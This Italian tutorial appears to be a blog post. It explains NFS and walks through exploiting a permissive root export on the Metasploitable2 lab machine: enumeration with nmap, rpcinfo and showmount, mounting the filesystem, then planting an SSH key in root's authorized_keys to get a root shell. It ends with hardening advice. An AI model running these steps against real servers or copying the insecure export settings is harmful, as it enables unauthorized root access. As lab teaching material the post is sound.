Il protocollo NFS (Network File System) è un protocollo sviluppato da Sun negli anni '80 per la condivisione trasparente di dischi o directory in ambito Unix.
Le specifiche del protocollo v3 sono disponibili su: http://www.ietf.org/rfc/rfc1813.txt
Il protocollo fa uso delle specifiche RPC (Remote Procedure Call) di Sun quale procedura di interfaccia per consentire di accedere al servizio remoto.
La combinazione di indirizzo IP, numero di programma, numero di versione, e numero di procedura specifica una procedura di servizio remoto.
L'implementazione di NFS non richiede nessun livello specifico di affidabilità dai livelli trasmissivi soggiacenti, pertanto potrebbe essere implementato utilizzando livelli di trasporto diversi.
Il demone usa la porta 2049 tcp-udp ed ovviamente la succitata Sun RPC sulla porta 111 tcp-udp. La configurazione del demone, lato servente, avviene per lo più mediante il file /etc/exports, mentre dal lato client si può utilizzare il canonico /etc/fstab per montare la condivisione in modo permanente.
Per il discovery delle condivisioni può essere utilizzata l'utilità showmount la cui affidabilità nella risposta dipende dall'implementazione NFS e configurazione lato server.
Un esempio tipico di discovery:
root@kali:~# showmount -e 192.168.122.12
Export list for 192.168.0.1:
/test 192.168.122.0/255.255.255.0
/pubblica 192.168.122.0/255.255.255.0
root@kali:~#
Le risorse remote possono essere accedute anche in via temporanea utilizzando il comando mount su una directory temporanea, o il servizio autofs.
Una share, assume carattere di vulnerabilità quando la configurazione della stessa è troppo lasca e permissiva. Vi sarà capitato di vedere sciocchezze come il disco C in Windows condiviso ad everyone e cose simili... bene, anche in Unix è possibile fare simili sciocchezze.
Per NFS questa è una cosa da non fare mai:
root@metasploitable:~# cat /etc/exports
...
/ *(rw,sync,no_root_squash,no_subtree_check)
root@metasploitable:~#
L'esempio sopra descritto proviene dalla distribuzione dannatamente vulnerabile Metasploitable2. Ed è un esempio negativo per antonomasia.
Un anonimo curioso in effetti potrebbe enumerare i servizi offerti dal nostro server:
root@kali:~# nmap -A 192.168.122.131
Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-12 10:00 CEST
Nmap scan report for 192.168.122.131
Host is up (0.00063s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
...
...
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 34790/udp mountd
| 100005 1,2,3 42776/tcp mountd
| 100021 1,3,4 33410/udp nlockmgr
| 100021 1,3,4 43920/tcp nlockmgr
| 100024 1 50810/udp status
|_ 100024 1 55711/tcp status
...
...
2049/tcp open nfs 2-4 (RPC #100003)
...
...
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.57 seconds
Indagare ulteriormente individuando le procedure di connessione esposte da RPC
root@kali:~# rpcinfo 192.168.122.131
program version netid address service owner
100000 2 tcp 0.0.0.0.0.111 portmapper unknown
100000 2 udp 0.0.0.0.0.111 portmapper unknown
100024 1 udp 0.0.0.0.198.122 status unknown
100024 1 tcp 0.0.0.0.217.159 status unknown
100003 2 udp 0.0.0.0.8.1 nfs unknown
100003 3 udp 0.0.0.0.8.1 nfs unknown
100003 4 udp 0.0.0.0.8.1 nfs unknown
100021 1 udp 0.0.0.0.130.130 nlockmgr unknown
100021 3 udp 0.0.0.0.130.130 nlockmgr unknown
100021 4 udp 0.0.0.0.130.130 nlockmgr unknown
100003 2 tcp 0.0.0.0.8.1 nfs unknown
100003 3 tcp 0.0.0.0.8.1 nfs unknown
100003 4 tcp 0.0.0.0.8.1 nfs unknown
100021 1 tcp 0.0.0.0.171.144 nlockmgr unknown
100021 3 tcp 0.0.0.0.171.144 nlockmgr unknown
100021 4 tcp 0.0.0.0.171.144 nlockmgr unknown
100005 1 udp 0.0.0.0.135.230 mountd unknown
100005 1 tcp 0.0.0.0.167.24 mountd unknown
100005 2 udp 0.0.0.0.135.230 mountd unknown
100005 2 tcp 0.0.0.0.167.24 mountd unknown
100005 3 udp 0.0.0.0.135.230 mountd unknown
100005 3 tcp 0.0.0.0.167.24 mountd unknown
Verificare la misconfigurazione con showmount
root@kali:~# showmount -e 192.168.122.131
Export list for 192.168.122.131:
/ *
Montare in una directory temporanea la share
root@kali:~# mkdir /tmp/metasploitable
root@kali:~# mount -t nfs 192.168.122.131:/ /tmp/metasploitable/ -o nolock
root@kali:~# cd /tmp/metasploitable
root@kali:/tmp/metasploitable# ls
bin dev initrd lost+found nohup.out root sys var
boot etc initrd.img media opt sbin tmp vmlinuz
cdrom home lib mnt proc srv usr
Fare cose stuzzicanti quali appendere la propria chiave pubblica ssh al file authorized_keys di root sulla share condivisa:
root@kali:/tmp/metasploitable# cat /root/.ssh/id_rsa.pub >> root/.ssh/authorized_keys
Ed infine gioire del proprio operato:
root@kali:/tmp/metasploitable# ssh root@192.168.122.131
Last login: Sun May 12 04:59:53 2013 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~#
La morale della favola quindi è una sola: Controllate attentamente la configurazione NFS dei vostri server, limitando l'accesso alle share ad utenti specifici, hosts specific, e path che non includano directory di configurazione di altri applicativi.
Vi rimando al manuale dell'esportazione di NFS per ulteriori dettagli su come operare in sicurezza man exports.
Ci sono commenti.
